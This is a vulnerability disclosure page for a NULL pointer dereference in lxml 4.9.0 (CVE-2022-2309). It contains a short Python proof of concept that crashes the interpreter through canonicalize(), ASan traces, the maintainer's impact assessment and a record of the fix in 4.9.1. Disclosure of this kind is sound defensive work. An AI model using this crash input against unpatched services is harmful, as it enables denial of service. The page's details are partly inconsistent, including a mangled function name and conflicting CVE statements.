NULL Pointer Dereference in function _appendStartNsEvents in lxml/lxml

0

Valid Reported on Jun 18th 2022

Description

NULL Pointer Dereference in function vim_appendStartNsEvents at src/lxml/iterparse.pxi:435 allows attackers to cause a denial of service (or application crash).

Proof of Concept

```
from io import StringIO

from lxml import etree


first_input = """
<anot xmlns="1">
"""

second_input = """
<root>
</root>
"""


def parse_and_canonicalize(raw):
    input = StringIO(raw)
    try:
        et = etree.parse(input)
        etree.canonicalize(et)
    except etree.XMLSyntaxError as e:
        print(e)
```

Chat with us

```
def reproduce():
    print('parse_and_canonicalize first_input:')
    parse_and_canonicalize(first_input)
    print('parse_and_canonicalize second_input:')
    parse_and_canonicalize(second_input)


reproduce()


# python3 /opt/issue1_simplified.py
parse_and_canonicalize first_input:
Premature end of data in tag anot line 2, line 3, column 1 (<string>, line
parse_and_canonicalize second_input:
Segmentation fault
```

ASAN

```
# python3 /opt/issue1_simplified.py
parse_and_canonicalize first_input:
EndTag: '</' not found, line 3, column 1 (<string>, line 3)
parse_and_canonicalize second_input:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==1807==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc
==1807==The signal is caused by a READ memory access.
==1807==Hint: address points to the zero page.
    #0 0x7fe52028eb71  (/lib/x86_64-linux-gnu/libc.so.6+0x15fb71) (BuildId:
    #1 0x7fe52076055c in __interceptor_strlen.part.0 /root/llvm-project/com
    #2 0x7fe51dfc74fc in __pyx_f_4lxml_5etree_funicode /go/src/github.com/l
    #3 0x7fe51dfccf81 in __pyx_f_4lxml_5etree__appendStartNsEvents /go/src/
    #4 0x7fe51dfccf81 in __pyx_f_4lxml_5etree_8iterwalk__start_node /go/src
    #5 0x7fe51e090543 in __pyx_pf_4lxml_5etree_8iterwalk___init__ /go/src/g
    #6 0x7fe51e090543 in __pyx_pw_4lxml_5etree_8iterwalk_1__init__ /go/src/
    #7 0x7fe52046560a in type_call /usr/src/python/Objects/
    #8 0x7fe51e05221c in __Pyx_PyObject_Call /go/src/github.
    #9 0x7fe51e05221c in __pyx_f_4lxml_5etree__tree_to_target /go/src/githu
```

Chat with us

```
    #10 0x7fe51e0d5f0b in __pyx_pf_4lxml_5etree_53canonicalize /go/src/gith
    #11 0x7fe51e0d5f0b in __pyx_pw_4lxml_5etree_54canonicalize /go/src/gith
    #12 0x7fe520434b8b in _PyObject_MakeTpCall /usr/src/python/Objects/call

    #13 0x7fe520490a63 in _PyObject_VectorcallTstate /usr/src/python/./Incl
    #14 0x7fe520490a63 in _PyObject_VectorcallTstate /usr/src/python/./Incl
    #15 0x7fe520490a63 in PyObject_Vectorcall /usr/src/python/./Include/cpy
    #16 0x7fe520490a63 in call_function /usr/src/python/Python/ceval.c:5077
    #17 0x7fe520490a63 in _PyEval_EvalFrameDefault /usr/src/python/Python/c
    #18 0x7fe520435502 in _PyEval_EvalFrame /usr/src/python/./Include/inter
    #19 0x7fe520435502 in function_code_fastcall /usr/src/python/Objects/ca
    #20 0x7fe52048c07e in _PyObject_VectorcallTstate /usr/src/python/./Incl
    #21 0x7fe52048c07e in PyObject_Vectorcall /usr/src/python/./Include/cpy
    #22 0x7fe52048c07e in call_function /usr/src/python/Python/ceval.c:5077
    #23 0x7fe52048c07e in _PyEval_EvalFrameDefault /usr/src/python/Python/c
    #24 0x7fe52048b17f in _PyEval_EvalFrame /usr/src/python/./Include/inter
    #25 0x7fe52048b17f in _PyEval_EvalCode /usr/src/python/Python/ceval.c:4
    #26 0x7fe52048aeb0 in _PyEval_EvalCodeWithName /usr/src/python/Python/c
    #27 0x7fe52048ae52 in PyEval_EvalCodeEx /usr/src/python/Python/ceval.c:
    #28 0x7fe5204ff63a in PyEval_EvalCode /usr/src/python/Python/ceval.c:82
    #29 0x7fe520510ccc in run_eval_code_obj /usr/src/python/Python/pythonru
    #30 0x7fe520510c5a in run_mod /usr/src/python/Python/pythonrun.c:1242:1
    #31 0x7fe5203dbcac in pyrun_file /usr/src/python/Python/pythonrun.c:114
    #32 0x7fe5203dba4d in pyrun_simple_file /usr/src/python/Python/pythonru
    #33 0x7fe5203dba4d in PyRun_SimpleFileExFlags /usr/src/python/Python/py
    #34 0x7fe52051869f in pymain_run_file /usr/src/python/Modules/main.c:37
    #35 0x7fe52051869f in pymain_run_python /usr/src/python/Modules/main.c:
    #36 0x7fe52051869f in Py_RunMain /usr/src/python/Modules/main.c:677:5
    #37 0x7fe520518228 in Py_BytesMain /usr/src/python/Modules/main.c:731:1
    #38 0x7fe520155d09 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.
    #39 0x55ef444f9089 in _start (/usr/local/bin/python3.9+0x1089) (BuildId

  AddressSanitizer can not provide additional info.
  SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x15fb71)
  ==1807==ABORTING
```

Impact

NULL Pointer Dereference allows attackers to cause a denial of service (or application crash).

Chat with us

CVE
CVE-2022-2309

(Published)

Vulnerability Type
CWE-476: NULL Pointer Dereference

Severity
Medium (5.3)

Registry
Pypi

Affected Version
4.9.0

Visibility
Public

Status
Fixed

Found by

Kishin Yagami
@ks888
unranked

This report was seen 1,508 times.

We are processing your report and will contact the lxml team within 24 hours. 5 months ago

We have contacted a member of the lxml team and are waiting to hear back 5 months ago

Jamie Slome 5 months ago Admin

We have contacted Stefans (maintainer) and will keep you updated on any response 👍

Kishin Yagami 5 months ago Researcher

Thank you, Jamie!

Chat with us

We have sent a follow up to the lxml team. We will try again in 7 days. 5 months ago

Jamie Slome 5 months ago Admin

From maintainer:

Hi,

thanks for the report. This seems legitimate and I can reproduce it.

I suspect a bug in libxml2 – there seems to be a leak of state between separate parser runs, which then leads to incorrect state being added to the new document on the second parser run.

I'll investigate, but I can probably work around this in lxml quite easily.
I'll keep you posted.

Thanks again,
Stefan

---

as reported, it allows triggering crashes through forged input data, given a vulnerable code sequence in the application. A DOS through repeated crashes seems the worst possible effect, I can't imagine this being exploited for anything else.

I could simplify the exploit a little further to the attached script. The vulnerable bit is the iterwalk() function (also used by canonicalize()). Such code shouldn't be in wide-spread use, given that parsing + iterwalk() would usually be replaced with the more efficient iterparse(). However, an XML converter that serialises to C14N would also be vulnerable, for example, and there are legitimate use cases for this code sequence.

So, I doubt that this has a large impact in terms of installations, but if untrusted input is received (also remotely) and processed via iterwalk(), a crash can be triggered.

Stefan

Kishin Yagami 5 months ago Researcher

Thank you for the update. If there is anything I can help, please tell me.

We have sent a second follow up to the lxml team. We will try again in 10 days. 5 months ago

A lxml/lxml maintainer modified the Severity from High (7.5) to Medium (5.

Chat with us

The researcher has received a minor penalty to their credibility for miscalculating the severity: -1

A lxml/lxml maintainer validated this vulnerability 5 months ago

Kishin Yagami has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

A lxml/lxml maintainer marked this as fixed in 4.9.1 with commit 86368e 5 months ago

The fix bounty has been dropped ✖

This vulnerability will not receive a CVE ✖

Sign in to join this conversation

2022 © 418sec

Chat with us

privacy policy

Chat with us